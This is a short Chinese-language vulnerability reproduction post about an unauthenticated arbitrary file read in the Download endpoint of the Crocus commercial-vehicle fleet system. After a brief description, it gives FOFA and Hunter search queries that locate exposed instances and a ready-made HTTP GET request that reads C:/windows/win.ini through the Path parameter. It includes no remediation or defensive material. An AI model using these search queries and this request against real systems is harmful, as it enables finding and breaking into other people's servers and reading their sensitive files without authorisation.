【漏洞复现】Crocus系统文件读取漏洞复现

漏洞描述

Crocus系统旨在利用人工智能、高清视频、大数据和自动驾驶技术，帮助商用车减少交通事故和货物丢失，提高企业或车队的运营效率。其Download接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件。

信息收集

fofa：body="inp_verification"
hunter：web.body="inp_verification"

 

 漏洞复现

构造数据包

GET /Service.do?Action=Download&Path=C:/windows/win.ini HTTP/1.1
Host:ip